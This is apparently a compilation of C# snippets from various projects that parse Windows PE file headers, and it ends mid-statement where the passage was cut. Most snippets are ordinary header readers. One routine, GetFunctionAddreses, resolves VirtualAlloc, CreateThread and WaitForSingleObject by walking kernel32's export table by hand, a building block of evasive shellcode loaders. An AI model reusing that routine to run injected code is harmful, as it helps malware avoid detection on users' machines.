private void Init(Stream stream) { BinaryReader reader = new BinaryReader(stream); dosHeader = FromBinaryReader <IMAGE_DOS_HEADER>(reader); // Add 4 bytes to the offset stream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin); UInt32 ntHeadersSignature = reader.ReadUInt32(); fileHeader = FromBinaryReader <IMAGE_FILE_HEADER>(reader); if (this.Is32BitHeader) { optionalHeader32 = FromBinaryReader <IMAGE_OPTIONAL_HEADER32>(reader); } else { optionalHeader64 = FromBinaryReader <IMAGE_OPTIONAL_HEADER64>(reader); } imageSectionHeaders = new IMAGE_SECTION_HEADER[fileHeader.NumberOfSections]; for (int headerNo = 0; headerNo < imageSectionHeaders.Length; ++headerNo) { imageSectionHeaders[headerNo] = FromBinaryReader <IMAGE_SECTION_HEADER>(reader); } }
private void Load(Stream stream) { BinaryReader reader = new BinaryReader(stream); dosHeader = FromBinaryReader <IMAGE_DOS_HEADER>(reader, null); // Add 4 bytes to the offset stream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin); UInt32 ntHeadersSignature = reader.ReadUInt32(); fileHeader = FromBinaryReader <IMAGE_FILE_HEADER>(reader, null); // Read optional header magic to determin 32-bit vs 64-bit var optMagic = reader.ReadUInt16(); _is32bit = (optMagic != IMAGE_NT_OPTIONAL_HDR64_MAGIC); var lookahead = new byte[] { (byte)(optMagic >> 8), (byte)(optMagic & 0xff) }; if (_is32bit) { optionalHeader32 = FromBinaryReader <IMAGE_OPTIONAL_HEADER32>(reader, lookahead); } else { optionalHeader64 = FromBinaryReader <IMAGE_OPTIONAL_HEADER64>(reader, lookahead); } imageSectionHeaders = new IMAGE_SECTION_HEADER[fileHeader.NumberOfSections]; for (int headerNo = 0; headerNo < imageSectionHeaders.Length; ++headerNo) { imageSectionHeaders[headerNo] = FromBinaryReader <IMAGE_SECTION_HEADER>(reader, null); } }
/// <summary> /// Reading from unmanaged memory pointer address. /// </summary> /// <param name="memPtr"></param> /// <param name="index"></param> private void Load(IntPtr memPtr, long index) { var startIndex = index; dosHeader = FromMemoryPtr <IMAGE_DOS_HEADER>(memPtr, ref index); index = startIndex + dosHeader.e_lfanew + 4; fileHeader = FromMemoryPtr <IMAGE_FILE_HEADER>(memPtr, ref index); // See the optiona header magic to determine 32-bit vs 64-bit var optMagic = Marshal.ReadInt16(new IntPtr(memPtr.ToInt64() + index)); _is32bit = (optMagic != IMAGE_NT_OPTIONAL_HDR64_MAGIC); if (_is32bit) { optionalHeader32 = FromMemoryPtr <IMAGE_OPTIONAL_HEADER32>(memPtr, ref index); } else { optionalHeader64 = FromMemoryPtr <IMAGE_OPTIONAL_HEADER64>(memPtr, ref index); } imageSectionHeaders = new IMAGE_SECTION_HEADER[fileHeader.NumberOfSections]; for (int headerNo = 0; headerNo < imageSectionHeaders.Length; ++headerNo) { imageSectionHeaders[headerNo] = FromMemoryPtr <IMAGE_SECTION_HEADER>(memPtr, ref index); } }
public PELoader(byte[] fileBytes) { // Read in the DLL or EXE and get the timestamp using (MemoryStream stream = new MemoryStream(fileBytes, 0, fileBytes.Length)) { BinaryReader reader = new BinaryReader(stream); dosHeader = FromBinaryReader <IMAGE_DOS_HEADER>(reader); // Add 4 bytes to the offset stream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin); UInt32 ntHeadersSignature = reader.ReadUInt32(); fileHeader = FromBinaryReader <IMAGE_FILE_HEADER>(reader); if (this.Is32BitHeader) { optionalHeader32 = FromBinaryReader <IMAGE_OPTIONAL_HEADER32>(reader); } else { optionalHeader64 = FromBinaryReader <IMAGE_OPTIONAL_HEADER64>(reader); } imageSectionHeaders = new IMAGE_SECTION_HEADER[fileHeader.NumberOfSections]; for (int headerNo = 0; headerNo < imageSectionHeaders.Length; ++headerNo) { imageSectionHeaders[headerNo] = FromBinaryReader <IMAGE_SECTION_HEADER>(reader); } RawBytes = fileBytes; } }
public PeUtility([NotNull] Stream srcStream) { curFileStream = srcStream ?? throw new ArgumentNullException(nameof(srcStream)); var reader = new BinaryReader(curFileStream); dosHeader = FromBinaryReader <IMAGE_DOS_HEADER>(reader); // Add 4 bytes to the offset srcStream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin); var ntHeadersSignature = reader.ReadUInt32(); fileHeader = FromBinaryReader <IMAGE_FILE_HEADER>(reader); this.fileHeaderOffset = srcStream.Position; if (this.Is32BitHeader) { optionalHeader32 = FromBinaryReader <IMAGE_OPTIONAL_HEADER32>(reader); } else { optionalHeader64 = FromBinaryReader <IMAGE_OPTIONAL_HEADER64>(reader); } imageSectionHeaders = new IMAGE_SECTION_HEADER[fileHeader.NumberOfSections]; for (var headerNo = 0; headerNo < imageSectionHeaders.Length; ++headerNo) { imageSectionHeaders[headerNo] = FromBinaryReader <IMAGE_SECTION_HEADER>(reader); } }
public PeHeaderReader(string filePath) { // Read in the DLL or EXE and get the timestamp using (FileStream stream = new FileStream(filePath, System.IO.FileMode.Open, System.IO.FileAccess.Read)) { BinaryReader reader = new BinaryReader(stream); dosHeader = FromBinaryReader <IMAGE_DOS_HEADER>(reader); // Add 4 bytes to the offset stream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin); UInt32 ntHeadersSignature = reader.ReadUInt32(); fileHeader = FromBinaryReader <IMAGE_FILE_HEADER>(reader); if (this.Is32BitHeader) { optionalHeader32 = FromBinaryReader <IMAGE_OPTIONAL_HEADER32>(reader); } else { optionalHeader64 = FromBinaryReader <IMAGE_OPTIONAL_HEADER64>(reader); } imageSectionHeaders = new IMAGE_SECTION_HEADER[fileHeader.NumberOfSections]; for (int headerNo = 0; headerNo < imageSectionHeaders.Length; ++headerNo) { imageSectionHeaders[headerNo] = FromBinaryReader <IMAGE_SECTION_HEADER>(reader); } } }
// Get function addresses private static Boolean GetFunctionAddreses(ref IntPtr VirtualAllocAddr, ref IntPtr CreateThreadAddr, ref IntPtr WaitForSingleObjectAddr) { // Get 'Kernel32.dll' image base address IntPtr Kernel32BaseAddr = FindKernel32(); IMAGE_DOS_HEADER ImageDosHeader = (IMAGE_DOS_HEADER)Marshal.PtrToStructure(Kernel32BaseAddr, typeof(IMAGE_DOS_HEADER)); MagicType Architecture = (MagicType)Marshal.ReadInt32((IntPtr)(Kernel32BaseAddr.ToInt64() + ImageDosHeader.e_lfanew + 4 + 20)); IMAGE_EXPORT_DIRECTORY ImageExportDirectory; switch (Architecture) { case MagicType.IMAGE_NT_OPTIONAL_HDR32_MAGIC: IMAGE_OPTIONAL_HEADER32 PEHeader32 = (IMAGE_OPTIONAL_HEADER32)Marshal.PtrToStructure((IntPtr)(Kernel32BaseAddr.ToInt64() + ImageDosHeader.e_lfanew + 4 + 20), typeof(IMAGE_OPTIONAL_HEADER32)); ImageExportDirectory = (IMAGE_EXPORT_DIRECTORY)Marshal.PtrToStructure((IntPtr)(Kernel32BaseAddr.ToInt64() + (int)PEHeader32.ExportTable.VirtualAddress), typeof(IMAGE_EXPORT_DIRECTORY)); break; case MagicType.IMAGE_NT_OPTIONAL_HDR64_MAGIC: IMAGE_OPTIONAL_HEADER64 PEHeader64 = (IMAGE_OPTIONAL_HEADER64)Marshal.PtrToStructure((IntPtr)(Kernel32BaseAddr.ToInt64() + ImageDosHeader.e_lfanew + 4 + 20), typeof(IMAGE_OPTIONAL_HEADER64)); ImageExportDirectory = (IMAGE_EXPORT_DIRECTORY)Marshal.PtrToStructure((IntPtr)(Kernel32BaseAddr.ToInt64() + (int)PEHeader64.ExportTable.VirtualAddress), typeof(IMAGE_EXPORT_DIRECTORY)); break; default: Console.WriteLine("Failed to identify 'kernel32.dll' architecture"); return(false); } ; // Setup variables for iterating over export table int CurrentFunctionNameAddr; String CurrentFunctionName; // Iterate over export table for (int i = 0; i < ImageExportDirectory.NumberOfNames; i++) { // Get current function's address (pointer) and name (pointer) CurrentFunctionNameAddr = Marshal.ReadInt32((IntPtr)(Kernel32BaseAddr.ToInt64() + (int)ImageExportDirectory.AddressOfNames + (i * 4))); CurrentFunctionName = Marshal.PtrToStringAnsi((IntPtr)(Kernel32BaseAddr.ToInt64() + (int)CurrentFunctionNameAddr)); // Check to see if it is the required function if (CurrentFunctionName.Equals("VirtualAlloc")) { VirtualAllocAddr = (IntPtr)(Kernel32BaseAddr.ToInt64() + Marshal.ReadInt32((IntPtr)(Kernel32BaseAddr.ToInt64() + (int)ImageExportDirectory.AddressOfFunctions + (i * 4)))); } else if (CurrentFunctionName.Equals("CreateThread")) { CreateThreadAddr = (IntPtr)(Kernel32BaseAddr.ToInt64() + Marshal.ReadInt32((IntPtr)(Kernel32BaseAddr.ToInt64() + (int)ImageExportDirectory.AddressOfFunctions + (i * 4)))); } else if (CurrentFunctionName.Equals("WaitForSingleObject")) { WaitForSingleObjectAddr = (IntPtr)(Kernel32BaseAddr.ToInt64() + Marshal.ReadInt32((IntPtr)(Kernel32BaseAddr.ToInt64() + (int)ImageExportDirectory.AddressOfFunctions + (i * 4)))); } // Return if all functions have been found if ((VirtualAllocAddr != IntPtr.Zero) && (CreateThreadAddr != IntPtr.Zero) && (WaitForSingleObjectAddr != IntPtr.Zero)) { return(true); } } return(false); }
public PeFile32(IMAGE_DOS_HEADER dosHeader, IMAGE_FILE_HEADER peHeader, IMAGE_OPTIONAL_HEADER32 optionalHeader, IMAGE_EXPORT_DIRECTORY exportDirectory, Dictionary <string, IntPtr> exports) { this.DosHeader = dosHeader; this.PeHeader = peHeader; this.OptionalHeader = optionalHeader; this.ExportDirectory = exportDirectory; Exports = exports; }
private void ParseOptionalHeader(IMAGE_OPTIONAL_HEADER32 optHeader) { LogStructure(optHeader); /*for (uint i = 0; i < optHeader.NumberOfRvaAndSizes; ++i) * ParseDataDirectory(optHeader.DataDirectory[i], i);*/ for (uint i = 0; i < FileHeader.NumberOfSections; ++i) { ParseImageSectionHeader(); } }
public PEReader(string filePath) { using (FileStream stream = new FileStream(filePath, System.IO.FileMode.Open, System.IO.FileAccess.Read)) { BinaryReader reader = new BinaryReader(stream); dosHeader = FromBinaryReader <IMAGE_DOS_HEADER>(reader); stream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin); UInt32 ntHeadersSignature = reader.ReadUInt32(); fileHeader = FromBinaryReader <IMAGE_FILE_HEADER>(reader); optionalHeader32 = FromBinaryReader <IMAGE_OPTIONAL_HEADER32>(reader); } }
public bool IsPE(string fileName) { using (var stream = new FileStream(fileName, System.IO.FileMode.Open, System.IO.FileAccess.Read)) { var reader = new BinaryReader(stream); var peHeader = reader.ReadBytes(2); // PE Header is less than the minimum if (peHeader.Length < 2) { return(false); } // Check the first two bytes to rule out anything not DLL, EXE, SYS etc if (peHeader[0] != (byte)'M' && peHeader[1] != (byte)'Z') { return(false); } reader.BaseStream.Seek(0, SeekOrigin.Begin); dosHeader = FromBinaryReader <IMAGE_DOS_HEADER>(reader); // Add 4 bytes to the offset stream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin); var ntHeadersSignature = reader.ReadUInt32(); fileHeader = FromBinaryReader <IMAGE_FILE_HEADER>(reader); if (Is32BitHeader) { optionalHeader32 = FromBinaryReader <IMAGE_OPTIONAL_HEADER32>(reader); } else { optionalHeader64 = FromBinaryReader <IMAGE_OPTIONAL_HEADER64>(reader); } imageSectionHeaders = new IMAGE_SECTION_HEADER[fileHeader.NumberOfSections]; for (var headerNo = 0; headerNo < imageSectionHeaders.Length; ++headerNo) { imageSectionHeaders[headerNo] = FromBinaryReader <IMAGE_SECTION_HEADER>(reader); } return(true); } }
public static PE32OptionalHeader FromNativeStruct(IMAGE_OPTIONAL_HEADER32 nativeStruct) { PE32DataDirectory[] directories = nativeStruct.DataDirectory.Select(PE32DataDirectory.FromNativeStruct).ToArray(); return(new PE32OptionalHeader { Magic = nativeStruct.Magic, MajorLinkerVersion = nativeStruct.MajorLinkerVersion, MinorLinkerVersion = nativeStruct.MinorLinkerVersion, SizeOfCode = nativeStruct.SizeOfCode, SizeOfInitializedData = nativeStruct.SizeOfInitializedData, SizeOfUninitializedData = nativeStruct.SizeOfUninitializedData, AddressOfEntryPoint = nativeStruct.AddressOfEntryPoint, BaseOfCode = nativeStruct.BaseOfCode, BaseOfData = nativeStruct.BaseOfData, ImageBase = nativeStruct.ImageBase, SectionAlignment = nativeStruct.SectionAlignment, FileAlignment = nativeStruct.FileAlignment, MajorOperatingSystemVersion = nativeStruct.MajorOperatingSystemVersion, MinorOperatingSystemVersion = nativeStruct.MinorOperatingSystemVersion, MajorImageVersion = nativeStruct.MajorImageVersion, MinorImageVersion = nativeStruct.MinorImageVersion, MajorSubsystemVersion = nativeStruct.MajorSubsystemVersion, MinorSubsystemVersion = nativeStruct.MinorSubsystemVersion, Win32VersionValue = nativeStruct.Win32VersionValue, SizeOfImage = nativeStruct.SizeOfImage, SizeOfHeaders = nativeStruct.SizeOfHeaders, CheckSum = nativeStruct.CheckSum, Subsystem = nativeStruct.Subsystem, DllCharacteristics = nativeStruct.DllCharacteristics, SizeOfStackReserve = nativeStruct.SizeOfStackReserve, SizeOfStackCommit = nativeStruct.SizeOfStackCommit, SizeOfHeapReserve = nativeStruct.SizeOfHeapReserve, SizeOfHeapCommit = nativeStruct.SizeOfHeapCommit, LoaderFlags = nativeStruct.LoaderFlags, NumberOfRvaAndSizes = nativeStruct.NumberOfRvaAndSizes, DataDirectory = directories }); }
public PeHeaderReader(string filePath) { // Read in the DLL or EXE and get the timestamp using (FileStream stream = new FileStream(filePath, System.IO.FileMode.Open, System.IO.FileAccess.Read)) { BinaryReader reader = new BinaryReader(stream); dosHeader = FromBinaryReader <IMAGE_DOS_HEADER>(reader); // Add 4 bytes to the offset stream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin); uint ntHeadersSignature = reader.ReadUInt32(); fileHeader = FromBinaryReader <IMAGE_FILE_HEADER>(reader); if (Is32BitHeader) { optionalHeader32 = FromBinaryReader <IMAGE_OPTIONAL_HEADER32>(reader); } else { optionalHeader64 = FromBinaryReader <IMAGE_OPTIONAL_HEADER64>(reader); } } }
public PEFinder(string filePath, string dllName, string APIName) { using (FileStream stream = new FileStream(filePath, System.IO.FileMode.Open, System.IO.FileAccess.Read)) { BinaryReader reader = new BinaryReader(stream); dosHeader = FromBinaryReader <IMAGE_DOS_HEADER>(reader); stream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin); UInt32 ntHeadersSignature = reader.ReadUInt32(); fileHeader = FromBinaryReader <IMAGE_FILE_HEADER>(reader); if (this.Is32BitHeader) { optionalHeader32 = FromBinaryReader <IMAGE_OPTIONAL_HEADER32>(reader); } else { optionalHeader64 = FromBinaryReader <IMAGE_OPTIONAL_HEADER64>(reader); } ImageSectionHeaders = new IMAGE_SECTION_HEADER[fileHeader.NumberOfSections]; for (int i = 0; i < fileHeader.NumberOfSections; i++) { ImageSectionHeaders[i] = FromBinaryReader <IMAGE_SECTION_HEADER>(reader); } var IMAGE_DIRECTORY_ENTRY_IMPORT = 1; var VAImageDir = this.optionalHeader32.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress; var IATSection = -1; for (int i = 0; i < fileHeader.NumberOfSections; i++) { if (ImageSectionHeaders[i].VirtualAddress <= VAImageDir && ImageSectionHeaders[i].VirtualAddress + ImageSectionHeaders[i].SizeOfRawData > VAImageDir) { IATSection = i; break; } } if (IATSection != -1) { var section = ImageSectionHeaders[IATSection]; reader.BaseStream.Position = (VAImageDir - section.VirtualAddress) + section.PointerToRawData; var pImportDescriptor = FromBinaryReader <IMAGE_IMPORT_DESCRIPTOR>(reader); while (pImportDescriptor.FirstThunk != 0) { var nextID = reader.BaseStream.Position; reader.BaseStream.Position = (pImportDescriptor.Name - section.VirtualAddress) + section.PointerToRawData; var name = new string(reader.ReadChars(dllName.Length)); if (name.ToLower() == dllName.ToLower()) { reader.BaseStream.Position = (pImportDescriptor.FirstThunk - section.VirtualAddress) + section.PointerToRawData; var AddressOfData = reader.ReadUInt32(); var Offset = 0; while (AddressOfData != 0) { var nextI = reader.BaseStream.Position; reader.BaseStream.Position = (AddressOfData - section.VirtualAddress) + section.PointerToRawData; ushort hint = reader.ReadUInt16(); var tempName = new string(reader.ReadChars(APIName.Length)); if (APIName.ToLower() == tempName.ToLower()) { SearchedAddress = (uint)((pImportDescriptor.FirstThunk - section.VirtualAddress) + section.VirtualAddress + this.OptionalHeader32.ImageBase + Offset); return; } Offset += 4; reader.BaseStream.Position = nextI; AddressOfData = reader.ReadUInt32(); } } reader.BaseStream.Position = nextID; pImportDescriptor = FromBinaryReader <IMAGE_IMPORT_DESCRIPTOR>(reader); } } } }
public PESupport(string LibraryName) { Debug.Assert(LibraryName != null); this.LibraryName = LibraryName; hLibrary = IntPtr.Zero; IntPtr original_hLibrary = LoadLibraryEx(this.LibraryName, IntPtr.Zero, LoadLibraryFlags.DONT_RESOLVE_DLL_REFERENCES); // access violations occur with LOAD_LIBRARY_AS_DATAFILE, but don't with DONT_RESOLVE_DLL_REFERENCES for some reason hLibrary = new IntPtr(original_hLibrary.ToInt32() - original_hLibrary.ToInt32() % 4); // adjust things to a DWORD boundary int error = Marshal.GetLastWin32Error(); if (hLibrary == null && error != 0) { throw new System.ApplicationException("Got error " + error + " when loading library " + LibraryName); } // do some sanity checking dosHeader = (IMAGE_DOS_HEADER)Marshal.PtrToStructure(hLibrary, typeof(IMAGE_DOS_HEADER)); if (!dosHeader.isValid) { throw new System.ApplicationException("Library does not appear to be a valid DOS file!"); } ntHeader = (IMAGE_NT_HEADERS32)Marshal.PtrToStructure(hLibrary + dosHeader.e_lfanew, typeof(IMAGE_NT_HEADERS32)); if (!ntHeader.isValid) { throw new System.ApplicationException("Library NT Header does not appear valid!"); } fileHeader = ntHeader.FileHeader; if (fileHeader.Machine != (UInt16)(MachineType.I386)) { throw new System.ApplicationException("Library appears to be compiled for x64 while this program only supports x86 libraries."); } optionalHeader = ntHeader.OptionalHeader; exports = new Dictionary <int, List <string> >(); // if we don't have an export directory, move on if (optionalHeader.ExportTable.VirtualAddress == 0 || optionalHeader.ExportTable.Size == 0) { FreeLibrary(original_hLibrary); return; } // initialise the export header exportHeader = (IMAGE_EXPORT_DIRECTORY)Marshal.PtrToStructure(hLibrary + (int)optionalHeader.ExportTable.VirtualAddress, typeof(IMAGE_EXPORT_DIRECTORY)); for (int i = 0; i < exportHeader.NumberOfNames; i++) { // grab the pointer to the next entry in the string table. In C, this would be a char* IntPtr namePtr = (IntPtr)Marshal.PtrToStructure(hLibrary + (int)(exportHeader.AddressOfNames) + (4 * i), typeof(IntPtr)); // dereference the previous char* string name; try { name = Marshal.PtrToStringAnsi(hLibrary + namePtr.ToInt32()); } catch (Exception ex) { name = ""; Console.WriteLine(ex.StackTrace); } // grab the address for this function int address = ((IntPtr)Marshal.PtrToStructure(hLibrary + (int)(exportHeader.AddressOfFunctions) + 4 * i, typeof(IntPtr))).ToInt32(); address += (int)optionalHeader.ImageBase; if (exports.ContainsKey(address)) { exports[address].Add(name); } else { exports[address] = new List <string>(); exports[address].Add(name); } } FreeLibrary(original_hLibrary); }
internal OptionalHeader32(PortableExecutableImage image, IMAGE_OPTIONAL_HEADER32 optHeader, ulong headerOffset, ulong imageBase, ushort magic) : base(image, headerOffset, OptionalHeader.Size32.ToUInt32(), imageBase, magic) { _header = optHeader; }
public PEReader(string filePath) { // Read in the DLL or EXE and get the timestamp using (FileStream stream = new FileStream(filePath, System.IO.FileMode.Open, System.IO.FileAccess.Read)) { BinaryReader reader = new BinaryReader(stream); dosHeader = FromBinaryReader <IMAGE_DOS_HEADER>(reader); // Add 4 bytes to the offset stream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin); UInt32 ntHeadersSignature = reader.ReadUInt32(); fileHeader = FromBinaryReader <IMAGE_FILE_HEADER>(reader); if (this.Is32BitHeader) { optionalHeader32 = FromBinaryReader <IMAGE_OPTIONAL_HEADER32>(reader); } else { optionalHeader64 = FromBinaryReader <IMAGE_OPTIONAL_HEADER64>(reader); } // image data directory int numberOfRvaAndSizes = (int)((this.Is32BitHeader) ? optionalHeader32.NumberOfRvaAndSizes : optionalHeader64.NumberOfRvaAndSizes); imageDataDirectory = new IMAGE_DATA_DIRECTORY[numberOfRvaAndSizes]; for (int i = 0; i < numberOfRvaAndSizes; i++) { IMAGE_DATA_DIRECTORY direc = FromBinaryReader <IMAGE_DATA_DIRECTORY>(reader); imageDataDirectory[i] = direc; } // image section header, optionalHeader offset 18h = 24 uint optionSize = fileHeader.SizeOfOptionalHeader; stream.Seek(dosHeader.e_lfanew + 24 + optionSize, SeekOrigin.Begin); imageSectionHeader = new IMAGE_SECTION_HEADER[FileHeader.NumberOfSections]; for (int i = 0; i < FileHeader.NumberOfSections; i++) { IMAGE_SECTION_HEADER sectionHeader = FromBinaryReader <IMAGE_SECTION_HEADER>(reader); imageSectionHeader[i] = sectionHeader; } // read resource IMAGE_DATA_DIRECTORY resourceDataDirectory = imageDataDirectory[2]; uint resDataRVA = resourceDataDirectory.VirtualAddress; uint resDataSize = resourceDataDirectory.Size; uint resEndRVA = resDataRVA + resDataSize; resource_offset = 0; resource_rva = 0; resource_rawDataSize = 0; foreach (IMAGE_SECTION_HEADER sectionHeader in imageSectionHeader) { uint secRVA = sectionHeader.VirtualAddress; uint secEndRVA = secRVA + sectionHeader.SizeOfRawData; if (secRVA <= resDataRVA && resEndRVA > secRVA && secEndRVA >= resEndRVA) { resource_offset = sectionHeader.PointerToRawData; resource_rva = secRVA; resource_rawDataSize = sectionHeader.SizeOfRawData; } } if (resource_offset == 0) { ResourceEntry_ALL = new PEResourceEntries[0]; } else { stream.Seek(resource_offset, SeekOrigin.Begin); // resource level 1 IMAGE_RESOURCE_DIRECTORY d1 = FromBinaryReader <IMAGE_RESOURCE_DIRECTORY>(reader); int entriesCount1 = d1.NumberOfIdEntries + d1.NumberOfNamedEntries; IMAGE_RESOURCE_DIRECTORY_ENTRY[] entries1 = new IMAGE_RESOURCE_DIRECTORY_ENTRY[entriesCount1]; ResourceEntry_ALL = new PEResourceEntries[entriesCount1]; for (int i = 0; i < entriesCount1; i++) { IMAGE_RESOURCE_DIRECTORY_ENTRY entry = FromBinaryReader <IMAGE_RESOURCE_DIRECTORY_ENTRY>(reader); entries1[i] = entry; } for (int i = 0; i < entriesCount1; i++) { IMAGE_RESOURCE_DIRECTORY_ENTRY entry = entries1[i]; PEResourceEntries resEntries = new PEResourceEntries(); resEntries.level1Entry = entry; resEntries.level2Map3Entries = new Hashtable(); resEntries.level3DATA = new Hashtable(); // level 2 // type long offset_2 = resource_offset + entry.OffsetToData_l; stream.Seek(offset_2, SeekOrigin.Begin); if (PEUtil.ConvertIntToBin((int)entry.OffsetToData_h).StartsWith("1")) { IMAGE_RESOURCE_DIRECTORY d2 = FromBinaryReader <IMAGE_RESOURCE_DIRECTORY>(reader); int entriesCount2 = d2.NumberOfIdEntries + d2.NumberOfNamedEntries; IMAGE_RESOURCE_DIRECTORY_ENTRY[] entries2 = new IMAGE_RESOURCE_DIRECTORY_ENTRY[entriesCount2]; for (int ii = 0; ii < entriesCount2; ii++) { IMAGE_RESOURCE_DIRECTORY_ENTRY entry2 = FromBinaryReader <IMAGE_RESOURCE_DIRECTORY_ENTRY>(reader); entries2[ii] = entry2; } resEntries.level2Entries = entries2; // level 3 for (int j = 0; j < entriesCount2; j++) { IMAGE_RESOURCE_DIRECTORY_ENTRY entry2 = entries2[j]; // type long offset_3 = resource_offset + entry2.OffsetToData_l; stream.Seek(offset_3, SeekOrigin.Begin); IMAGE_RESOURCE_DIRECTORY d3 = FromBinaryReader <IMAGE_RESOURCE_DIRECTORY>(reader); int entriesCount3 = d3.NumberOfIdEntries + d3.NumberOfNamedEntries; IMAGE_RESOURCE_DIRECTORY_ENTRY[] entries3 = new IMAGE_RESOURCE_DIRECTORY_ENTRY[entriesCount3]; for (int k = 0; k < entriesCount3; k++) { IMAGE_RESOURCE_DIRECTORY_ENTRY entry3 = FromBinaryReader <IMAGE_RESOURCE_DIRECTORY_ENTRY>(reader); entries3[k] = entry3; long offset_4 = resource_offset + entry3.OffsetToData_l; stream.Seek(offset_4, SeekOrigin.Begin); IMAGE_RESOURCE_DATA_ENTRY dataEntry = FromBinaryReader <IMAGE_RESOURCE_DATA_ENTRY>(reader); if (!resEntries.level3DATA.ContainsKey(entry3)) { resEntries.level3DATA.Add(entry3, dataEntry); } } resEntries.level2Map3Entries.Add(entry2, entries3); } } else { throw new Exception("Resource level 2 OffsetToData_h can not start with 0"); // IMAGE_RESOURCE_DATA_ENTRY dataEntry = FromBinaryReader<IMAGE_RESOURCE_DATA_ENTRY>(reader); } ResourceEntry_ALL[i] = resEntries; } } } }
private async Task LoadAsync() { if (!_stream.CanSeek) { throw new PortableExecutableImageException(this, "Cannot seek in stream."); } if (!_stream.CanRead) { throw new PortableExecutableImageException(this, "Cannot read from stream."); } IMAGE_DOS_HEADER dosHeader; try { dosHeader = await _stream.ReadStructAsync <IMAGE_DOS_HEADER>(DOSHeader.Size).ConfigureAwait(false); } catch (Exception ex) { throw new PortableExecutableImageException(this, "Cannot read DOS header from stream.", ex); } if (dosHeader.e_magic != DOSHeader.DOS_MAGIC_MZ) { throw new PortableExecutableImageException(this, "Incorrect magic number specified in DOS header."); } if (dosHeader.e_lfanew == 0) { throw new PortableExecutableImageException(this, "No new header location specified in DOS header, most likely a 16-bit executable."); } if (dosHeader.e_lfanew >= (256 * (1024 * 1024))) { throw new PortableExecutableImageException(this, "New header location specified in MS-DOS header is beyond 256mb boundary (see RtlImageNtHeaderEx)."); } if (dosHeader.e_lfanew % 4 != 0) { throw new PortableExecutableImageException(this, "New header location specified in MS-DOS header is not properly aligned."); } if (dosHeader.e_lfanew < DOSHeader.Size) { throw new PortableExecutableImageException(this, "New header location specified is invalid."); } var stubOffset = DOSHeader.Size; var stubSize = dosHeader.e_lfanew - DOSHeader.Size; var stubRead = await _stream.SkipBytesAsync(stubSize).ConfigureAwait(false); if (stubRead < stubSize) { throw new PortableExecutableImageException(this, "Could not read DOS stub from stream."); } _stream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin); var ntOffset = _stream.Position; uint peSig; try { peSig = await _stream.ReadUInt32Async().ConfigureAwait(false); } catch (Exception ex) { throw new PortableExecutableImageException(this, "Could not read PE signature from stream.", ex); } if (peSig != NTHeaders.PE_MAGIC_MZ) { throw new PortableExecutableImageException(this, "Incorrect PE signature found in NT Header."); } IMAGE_FILE_HEADER fileHdr; try { fileHdr = await _stream.ReadStructAsync <IMAGE_FILE_HEADER>(FileHeader.Size).ConfigureAwait(false); } catch (Exception ex) { throw new PortableExecutableImageException(this, "Could not read NT Header from stream.", ex); } ushort magic = 0; try { magic = await _stream.ReadUInt16Async().ConfigureAwait(false); } catch (Exception ex) { throw new PortableExecutableImageException(this, "Could not read Optional Header magic number from stream.", ex); } Is32Bit = (magic == (ushort)MagicType.PE32); Is64Bit = (magic == (ushort)MagicType.PE32plus); if (!Is32Bit && !Is64Bit) { throw new PortableExecutableImageException(this, "Unknown PE type."); } byte[] optionalHeaderBytes; try { var optionalHeaderSize = (Is32Bit ? Utils.SizeOf <IMAGE_OPTIONAL_HEADER32>() : Utils.SizeOf <IMAGE_OPTIONAL_HEADER64>()); optionalHeaderBytes = await _stream.ReadBytesAsync(optionalHeaderSize).ConfigureAwait(false); } catch (Exception ex) { throw new PortableExecutableImageException(this, "Could not read Optional Header from stream.", ex); } IMAGE_OPTIONAL_HEADER32 optionalHeader32 = new IMAGE_OPTIONAL_HEADER32(); IMAGE_OPTIONAL_HEADER64 optionalHeader64 = new IMAGE_OPTIONAL_HEADER64(); var dirCount = 0; if (Is32Bit) { optionalHeader32 = Utils.Read <IMAGE_OPTIONAL_HEADER32>(optionalHeaderBytes); dirCount = optionalHeader32.NumberOfRvaAndSizes.ToInt32(); } else { optionalHeader64 = Utils.Read <IMAGE_OPTIONAL_HEADER64>(optionalHeaderBytes); dirCount = optionalHeader64.NumberOfRvaAndSizes.ToInt32(); } var dataDirs = new IMAGE_DATA_DIRECTORY[dirCount]; var dataDirSize = Utils.SizeOf <IMAGE_DATA_DIRECTORY>(); for (var i = 0; i < dirCount; i++) { try { dataDirs[i] = await _stream.ReadStructAsync <IMAGE_DATA_DIRECTORY>(dataDirSize).ConfigureAwait(false); } catch (Exception ex) { throw new PortableExecutableImageException(this, "Could not read data directory from stream.", ex); } } var sectionTableEntrySize = Utils.SizeOf <IMAGE_SECTION_HEADER>(); var sectionTable = new IMAGE_SECTION_HEADER[fileHdr.NumberOfSections]; for (var i = 0; i < fileHdr.NumberOfSections; i++) { try { sectionTable[i] = await _stream.ReadStructAsync <IMAGE_SECTION_HEADER>(sectionTableEntrySize).ConfigureAwait(false); } catch (Exception ex) { throw new PortableExecutableImageException(this, "Could not read section table entry from stream.", ex); } } IsCLR = false; var clrIndex = (int)DataDirectoryType.CLRRuntimeHeader; if (clrIndex >= 0 && clrIndex <= (dataDirs.Length - 1)) { var clrDirectory = dataDirs[clrIndex]; if (clrDirectory.VirtualAddress > 0 && clrDirectory.Size > 0) { IsCLR = true; } } IsSigned = false; var certIndex = (int)DataDirectoryType.CertificateTable; if (certIndex >= 0 && certIndex <= (dataDirs.Length - 1)) { var certDirectory = dataDirs[certIndex]; if (certDirectory.VirtualAddress > 0 && certDirectory.Size > 0) { IsSigned = true; } } var imageBase = (Is32Bit ? optionalHeader32.ImageBase : optionalHeader64.ImageBase); DOSHeader = new DOSHeader(this, dosHeader, imageBase); DOSStub = new DOSStub(this, stubOffset.ToUInt64(), stubSize.ToUInt32(), imageBase); var fileHeader = new FileHeader(this, fileHdr, DOSStub.Location.FileOffset + DOSStub.Location.FileSize + 4, imageBase); OptionalHeader optionalHeader; if (Is32Bit) { optionalHeader = new OptionalHeader32(this, 